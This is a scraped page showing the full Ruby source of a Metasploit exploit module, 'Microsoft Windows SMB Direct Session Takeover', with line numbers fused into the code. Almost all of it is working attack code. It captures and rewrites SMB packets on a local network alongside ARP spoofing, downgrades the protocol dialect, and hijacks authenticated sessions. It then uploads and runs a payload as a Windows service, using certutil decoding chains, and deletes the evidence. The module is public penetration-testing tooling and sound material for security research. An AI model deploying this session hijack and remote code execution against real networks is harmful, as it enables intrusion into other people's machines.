Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/smb_shadow.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::Capture9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Microsoft Windows SMB Direct Session Takeover',16'Description' => %q{17This module will intercept direct SMB authentication requests to18another host, gaining access to an authenticated SMB session if19successful. If the connecting user is an administrator and network20logins are allowed to the target machine, this module will execute an21arbitrary payload. To exploit this, the target system must try to22autheticate to another host on the local area network.2324SMB Direct Session takeover is a combination of previous attacks.2526This module is dependent on an external ARP spoofer. The builtin ARP27spoofer was not providing sufficient host discovery. Bettercap v1.6.228was used during the development of this module.2930The original SMB relay attack was first reported by Sir Dystic on March3131st, 2001 at @lanta.con in Atlanta, Georgia.32},33'Author' => [34'usiegl00'35],36'License' => MSF_LICENSE,37'Privileged' => true,38'Payload' => {},39'References' => [40['URL', 'https://strontium.io/blog/introducing-windows-10-smb-shadow-attack']41],42'Arch' => [ARCH_X86, ARCH_X64],43'Platform' => 'win',44'Targets' => [45['Automatic', {}]46],47'DisclosureDate' => '2021-02-16',48'DefaultTarget' => 0,49'Notes' => {50'Stability' => [ SERVICE_RESOURCE_LOSS ],51'Reliability' => [ UNRELIABLE_SESSION ],52'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]53}54)55)5657register_options(58[59OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']),60OptString.new('INTERFACE', [true, 'The name of the interface']),61OptString.new('DefangedMode', [true, 'Run in defanged mode', true]),62OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]),63OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.'])64# For future cross LAN work:65# OptString.new('GATEWAY', [ true, "The network gateway ip address" ])66]67)6869deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT',70'TIMEOUT')71end7273def exploit74@cleanup_mutex = Mutex.new75@cleanedup = true76if datastore['DefangedMode'].to_s == 'true'77warning = <<~EOF7879Are you SURE you want to modify your port forwarding tables?80You MAY contaminate your current network configuration.8182Disable the DefangedMode option if you wish to proceed.83EOF84fail_with(Failure::BadConfig, warning)85end86print_good('INFO : Warming up...')87print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 088@sessions = []89@sessions_mutex = Mutex.new90@drop_packet_ip_port_map = {}91@drop_packet_ip_port_mutex = Mutex.new92@negotiated_dialect_map = {}93@negotiated_dialect_mutex = Mutex.new94@confirm_server_dialect = datastore['ConfirmServerDialect'] || false95@arp_cache = {}96@arp_mutex = Mutex.new97@main_threads = []98@interface = datastore['INTERFACE'] # || Pcap.lookupdev99unless Socket.getifaddrs.map(&:name).include? @interface100fail_with(Failure::BadConfig,101"Interface not found: #{@interface}")102end103@ip4 = ipv4_addresses[@interface]&.first104fail_with(Failure::BadConfig, "Interface does not have address: #{@interface}") unless @ip4&.count('.') == 3105@mac = get_mac(@interface)106fail_with(Failure::BadConfig, "Interface does not have mac: #{@interface}") unless @mac && @mac.instance_of?(String)107# For future cross LAN work: (Gateway is required.)108# @gateip4 = datastore['GATEWAY']109# fail_with(Failure::BadConfig, "Invalid Gateway ip address: #{@gateip4}") unless @gateip4&.count(".") == 3110# @gatemac = arp(tpa: @gateip4)111# fail_with(Failure::BadConfig, "Unable to retrieve Gateway mac address: #{@gateip4}") unless @gatemac && @gatemac.class == String112@share = datastore['SHARE']113print_status("Self: #{@ip4} | #{@mac}")114# print_status("Gateway: #{@gateip4} | #{@gatemac}")115disable_p445_fwrd116@cleanedup = false117start_syn_capture118start_ack_capture119start_rst_capture120print_status('INFO : This module must be run alongside an arp spoofer / poisoner.')121print_status('INFO : The arp spoofer used during the testing of this module is bettercap v1.6.2.')122main_capture123ensure124cleanup125end126127# This prevents the TCP SYN on port 445 from passing through the filter.128# This allows us to have the time to modify the packets before forwarding them.129def disable_p445_fwrd130if datastore['DisableFwd'] == 'false'131print_status('DisableFwd was set to false.')132print_status('Packet forwarding on port 445 will not be disabled.')133return true134end135if RUBY_PLATFORM.include?('darwin')136pfctl = Rex::FileUtils.find_full_path('pfctl')137unless pfctl138fail_with(Failure::NotFound, 'The pfctl executable could not be found.')139end140IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf|141pf.write("block out on #{@interface} proto tcp from any to any port 445\n")142pf.close_write143end144IO.popen("#{pfctl} -e", err: '/dev/null').close145elsif RUBY_PLATFORM.include?('linux')146iptables = Rex::FileUtils.find_full_path('iptables')147unless iptables148fail_with(Failure::NotFound, 'The iptables executable could not be found.')149end150IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close151else152print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}")153print_error('WARNING : Packet forwarding on port 445 must be blocked manually.')154fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.')155end156print_good('INFO : Packet forwarding on port 445 disabled.')157return true158end159160# This reverts the changes made in disable_p445_fwrd161def reset_p445_fwrd162if datastore['DisableFwd'] == 'false'163print_status('DisableFwd was set to false.')164print_status('Packet forwarding on port 445 will not be reset.')165return true166end167if RUBY_PLATFORM.include?('darwin')168pfctl = Rex::FileUtils.find_full_path('pfctl')169unless pfctl170fail_with(Failure::NotFound, 'The pfctl executable could not be found.')171end172IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close173elsif RUBY_PLATFORM.include?('linux')174iptables = Rex::FileUtils.find_full_path('iptables')175unless iptables176fail_with(Failure::NotFound, 'The iptables executable could not be found.')177end178IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close179end180print_good('INFO : Packet forwarding on port 445 reset.')181return true182end183184# This starts the SYN capture thread as part of step two.185def start_syn_capture186@syn_capture_thread = Rex::ThreadFactory.spawn('SynCaptureThread', false) do187c = PacketFu::Capture.new(iface: @interface, promisc: true)188c.capture189c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0")190c.stream.each_data do |data|191packet = PacketFu::Packet.parse(data)192next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]193194packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)195packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))196packet.to_w(@interface)197end198end199end200201# This starts the ACK capture thread as part of step two.202def start_ack_capture203@ack_capture_thread = Rex::ThreadFactory.spawn('AckCaptureThread', false) do204c = PacketFu::Capture.new(iface: @interface, promisc: true)205c.capture206c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42")207c.stream.each_data do |data|208packet = PacketFu::Packet.parse(data)209next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]210211packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)212packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))213packet.to_w(@interface)214end215end216end217218# This starts the ACK capture thread as part of step two.219def start_rst_capture220@rst_capture_thread = Rex::ThreadFactory.spawn('RstCaptureThread', false) do221c = PacketFu::Capture.new(iface: @interface, promisc: true)222c.capture223c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0")224c.stream.each_data do |data|225packet = PacketFu::Packet.parse(data)226next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]227228packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)229packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))230packet.to_w(@interface)231end232end233end234235# This returns a mac string by querying the arp cache by an ip address.236# If the address is not in the cache, it uses an arp query.237def getarp(ip4)238unless @arp_cache[ip4]239mac = arp(tpa: ip4)240@arp_mutex.synchronize { @arp_cache[ip4] = mac } unless mac == []241end242return @arp_cache[ip4]243end244245# This sends an arp packet out to the network and captures the response.246# This allows us to resolve mac addresses in real time.247# We need the mac address of the server and client.248def arp(smac: @mac, dmac: 'ff:ff:ff:ff:ff:ff',249sha: @mac, spa: @ip4,250tha: '00:00:00:00:00:00', tpa: '', op: 1,251capture: true)252p = PacketFu::ARPPacket.new(253eth_src: Rex::Socket.eth_aton(smac),254eth_dst: Rex::Socket.eth_aton(dmac),255arp_src_mac: Rex::Socket.eth_aton(sha),256arp_src_ip: Rex::Socket.addr_aton(spa),257arp_dst_mac: Rex::Socket.eth_aton(tha),258arp_dst_ip: Rex::Socket.addr_aton(tpa),259arp_opcode: op260)261if capture262c = PacketFu::Capture.new(iface: @interface)263c.capture264c.stream.setfilter("arp src #{tpa} and ether dst #{smac}")265p.to_w(@interface)266sleep 0.5267c.save268c.array.each do |pkt|269pkt = PacketFu::Packet.parse pkt270# This decodes the arp packet and returns the query response.271if pkt.arp_header.arp_src_ip == Rex::Socket.addr_aton(tpa)272return Rex::Socket.eth_ntoa(pkt.arp_header.arp_src_mac)273end274return Rex::Socket.addr_ntoa(pkt.arp_header.arp_src_ip) if Rex::Socket.eth_ntoa(pkt.arp_header.src_mac) == tha275end276else277p.to_w(@interface)278end279end280281# This returns a hash of local interfaces and their ip addresses.282def ipv4_addresses283results = {}284Socket.getifaddrs.each do |iface|285if iface.addr.ipv4?286results[iface.name] = [] unless results[iface.name]287results[iface.name] << iface.addr.ip_address288end289end290results291end292293=begin For future cross LAN work: (Gateway is required.)294def ipv4_gateways295results = {}296Socket.getifaddrs.each do |iface|297if iface.addr.ipv4? & iface.netmask&.ipv4?298results[iface.name] = [] unless results[iface.name]299results[iface.name] << IPAddr.new(300IPAddr.new(iface.addr.ip_address).mask(iface.netmask.ip_address).to_i + 1,301IPAddr.new(iface.addr.ip_address).family302).to_string303end304end305results306end307=end308309# This is the main capture thread that handles all SMB packets routed through this module.310def main_capture311# This makes sense in the context of the paper.312# Please read: https://strontium.io/blog/introducing-windows-10-smb-shadow-attack313mc = PacketFu::Capture.new(iface: @interface, promisc: true)314mc.capture315mc.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] = 0xfe534d42")316mc.stream.each_data do |data|317packet = PacketFu::Packet.parse(data)318nss = packet.payload[0..3]319smb2 = packet.payload[4..]320# Only Parse Packets from known sessions321if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]322case smb2[11..12]323when "\x00\x00" # Negotiate Protocol Request324smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2)325# Dialect Count Set To 1326dialect = smb_packet.dialects.first327# TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach.328unless smb_packet.dialects.min >= 0x300329begin330if @negotiated_dialect_map[packet.tcp_header.tcp_src]331dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src]332elsif @confirm_server_dialect333Timeout.timeout(2.75) do334rport = packet.tcp_header.tcp_src - rand(42..83)335@drop_packet_ip_port_mutex.synchronize do336@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true337end338dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(339interface: @interface,340mac: @mac,341eth_src: Rex::Socket.eth_aton(@mac),342eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)),343ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),344ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),345tcp_src: rport,346tcp_dst: packet.tcp_header.tcp_dst,347tcp_seq: rand(14540253..3736845241),348tcp_ack: 0,349tcp_win: packet.tcp_header.tcp_win350)351dispatcher.send_packet(352'',353nbss_header: false,354tcp_flags: { syn: 1 },355tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s356)357dispatcher.recv_packet358dispatcher.send_packet(359'',360nbss_header: false,361tcp_flags: { ack: 1 }362)363client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '')364client.negotiate365dialect = client.dialect.to_i(16)366# pp dialect367@drop_packet_ip_port_mutex.synchronize do368@drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false369end370@negotiated_dialect_mutex.synchronize do371@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect372end373end374# Check if the server supports any SMB2 dialects375else376# We just assume the server supports the client's minimum dialect.377dialect = smb_packet.dialects.min378@negotiated_dialect_mutex.synchronize do379@negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect380end381end382unless dialect >= 0x300383original_size = smb_packet.to_binary_s.size384smb_packet.dialects = [dialect]385smb_packet.negotiate_context_list = []386smb_packet.client_start_time = 0387# Re-Calculate Length: (Optional...)388# nss = [smb_packet.to_binary_s.size].pack("N")389# Add more dialects while keeping the dialect count at one to pad out the message.390((original_size - smb_packet.to_binary_s.size) / 2).times { |_i| smb_packet.dialects << dialect }391smb_packet.dialect_count = 1392packet.payload = "#{nss}#{smb_packet.to_binary_s}"393packet.recalc394end395rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e396# We were unable to connect to the server or we were unable to negotiate any SMB2 dialects397print_status("Confirm Server Dialect Error: #{e}")398end399end400when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH401smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2)402if (smb_packet.smb2_header.session_id != 0) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300)403# Disable Session404@drop_packet_ip_port_mutex.synchronize do405@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true406end407# Start Main Thread408@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do409main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr))410end411end412when "\x00\x03" # Tree Connect Request413smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2)414# We assume that if we didn't intercept the SessionSetupRequest, the client must be using SMBv3.415# SMBv3 requires signing on all TreeConnectRequests.416# As we do not have access to the client's session key, we must perform the attack without connecting to a different tree.417# The only tree that we are able to do this with is the IPC$ tree, as it has control over the svcctl service controller.418if smb_packet.path.include?('\\IPC$'.encode('UTF-16LE')) && (@negotiated_dialect_map[packet.tcp_header.tcp_src].nil? || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300)419# Disable Session420@drop_packet_ip_port_mutex.synchronize do421@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true422end423# Start Main Thread424@main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do425# At this point, any SMBv3 version will do in order to conduct the attack.426# Their minor protocol differences should not be relevant in this situation.427# I just assumed that 0x300 is the least secure, which should be the right one to choose.428main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr))429end430end431end432end433next if @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s]434435packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac)436packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr))437# packet.recalc438packet.to_w(@interface)439end440end441442# This handles a session that has already authenticated to the server.443# This allows us to offload the session from the main capture thead.444def main_thread(packet:, dialect:, dstmac:)445dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new(446interface: @interface,447mac: @mac,448eth_src: Rex::Socket.eth_aton(@mac),449eth_dst: Rex::Socket.eth_aton(dstmac),450ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src),451ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst),452tcp_src: packet.tcp_header.tcp_src,453tcp_dst: packet.tcp_header.tcp_dst,454tcp_seq: packet.tcp_header.tcp_seq,455tcp_ack: packet.tcp_header.tcp_ack,456tcp_win: packet.tcp_header.tcp_win457)458dispatcher.send_packet(packet.payload, nbss_header: false)459data = dispatcher.recv_packet460if dialect >= 0x300461smb_packet = RubySMB::SMB2::Packet::TreeConnectResponse.read(data)462else463smb_packet = RubySMB::SMB2::Packet::SessionSetupResponse.read(data)464end465466address = packet.ip_header.ip_daddr467468smb1 = dialect / 0x100 == 1469smb2 = dialect / 0x100 == 2470smb3 = dialect / 0x100 == 3471client = RubySMB::Client.new(dispatcher, smb1: smb1, smb2: smb2, smb3: smb3, always_encrypt: false, username: '', password: '')472473client.dialect = dialect474client.session_id = smb_packet.smb2_header.session_id475client.smb2_message_id = smb_packet.smb2_header.message_id + 1476client.negotiated_smb_version = dialect477478# SMB3 requires signing on the TreeConnectRequest479# We are unable to sign the request, as we do not have the session key.480# This means that we have to stay on the same tree during the entire attack.481# We can perform the entire attack from the IPC$ tree, at the cost of reduced speed.482# Using this separated delivery technique, we can conduct the attack without disconnecting from the tree.483if dialect >= 0x300484tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false)485486print_status('Connecting to the Service Control Manager...')487svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)488svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)489scm_handle = svcctl.open_sc_manager_w(address)490print_status('Regenerating the payload...')491492filename = rand_text_alpha(8) + '.exe'493servicename = rand_text_alpha(8)494opts = { servicename: servicename }495exe = generate_payload_exe_service(opts)496print_status('Uploading payload...')497mindex = [exe].pack('m0').bytes.each_slice(1024).to_a.size498[exe].pack('m0').bytes.each_slice(1024).to_a.each_with_index do |part, index|499partfile = "%SYSTEMROOT%\\#{rand_text_alpha(8)}"500print_status("Uploading payload: #{index + 1}/#{mindex}")501launch_service(502svcctl: svcctl,503scm_handle: scm_handle,504service: "%COMSPEC% /c echo #{part.pack('C*')} > #{partfile}.b64 & certutil -decodehex #{partfile}.b64 #{partfile} 0x400000001 & type #{partfile} #{(index == 0) ? '>' : '>>'} %SYSTEMROOT%\\#{filename} & del #{partfile} #{partfile}.b64",505log: false506)507end508sleep 3509print_status("Created \\#{filename}...")510else511print_status('Connecting to the defined share...')512path = "\\\\#{address}\\#{@share}"513tree = client.tree_connect(path)514515print_status('Regenerating the payload...')516filename = rand_text_alpha(8) + '.exe'517servicename = rand_text_alpha(8)518opts = { servicename: servicename }519exe = generate_payload_exe_service(opts)520521print_status('Uploading payload...')522file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)523# The MITM dispatcher supports tcp packet fragmentation.524file.write(data: exe)525526print_status("Created \\#{filename}...")527file.close528tree.disconnect!529530print_status('Connecting to the Service Control Manager...')531ipc_path = "\\\\#{address}\\IPC$"532tree = client.tree_connect(ipc_path)533svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)534svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)535scm_handle = svcctl.open_sc_manager_w(address)536end537538launch_service(539svcctl: svcctl,540scm_handle: scm_handle,541service: "%SYSTEMROOT%\\#{filename}"542)543544@sessions_mutex.synchronize { @sessions << address }545sleep 0.5546547# Due to our inability to sign TreeConnectRequests when using SMBv3, we must stay on the same tree.548# The IPC$ tree has access to the svcctl service launcher.549# We can delete the file by scheduling a command as a service to do so.550if dialect >= 0x300551print_status("Deleting \\#{filename}...")552launch_service(553svcctl: svcctl,554scm_handle: scm_handle,555service: "%COMSPEC% /c del %SYSTEMROOT%\\#{filename}",556log: false557)558559print_status('Closing service handle...')560svcctl.close_service_handle(scm_handle)561else562print_status('Closing service handle...')563svcctl.close_service_handle(scm_handle)564tree.disconnect!565566print_status("Deleting \\#{filename}...")567tree = client.tree_connect(path)568file = tree.open_file(filename: filename, delete: true)569file.delete570end571572=begin573# Prevent STATUS_USER_SESSION_DELETED574#sleep 42 <- We must use traffic to prevent the server from closing the connection57520.times do576sleep 2577begin578tree.open_file(filename: '.', read: false)579rescue RubySMB::Error::UnexpectedStatusCode580# Expected STATUS_ACCESS_DENIED581end582end583=end584585tree.disconnect!586587client.disconnect!588return true # Done.589end590591# Launch a svcctl service by creating, starting, and then deleting it592def launch_service(svcctl:, scm_handle:, service:, log: true)593service_name = rand_text_alpha(8)594display_name = rand_text_alpha(rand(8..32))595596print_status('Creating a new service...') if log597svc_handle = svcctl.create_service_w(scm_handle, service_name, display_name, service)598599print_status('Closing service handle...') if log600svcctl.close_service_handle(svc_handle)601svc_handle = svcctl.open_service_w(scm_handle, service_name)602603print_status('Starting the service...') if log604begin605svcctl.start_service_w(svc_handle)606rescue RubySMB::Dcerpc::Error::SvcctlError607# StartServiceW returns an error on success.608end609610sleep 0.1611612print_status('Removing the service...') if log613svcctl.delete_service(svc_handle)614return true615end616617# This cleans up and exits all the active threads.618def cleanup619@cleanup_mutex.synchronize do620unless @cleanedup621print_status 'Cleaning Up...'622@syn_capture_thread.exit if @syn_capture_thread623@ack_capture_thread.exit if @ack_capture_thread624@rst_capture_thread.exit if @rst_capture_thread625@main_threads.map(&:exit) if @main_threads626reset_p445_fwrd627@cleanedup = true628print_status 'Cleaned Up.'629end630end631end632end633634635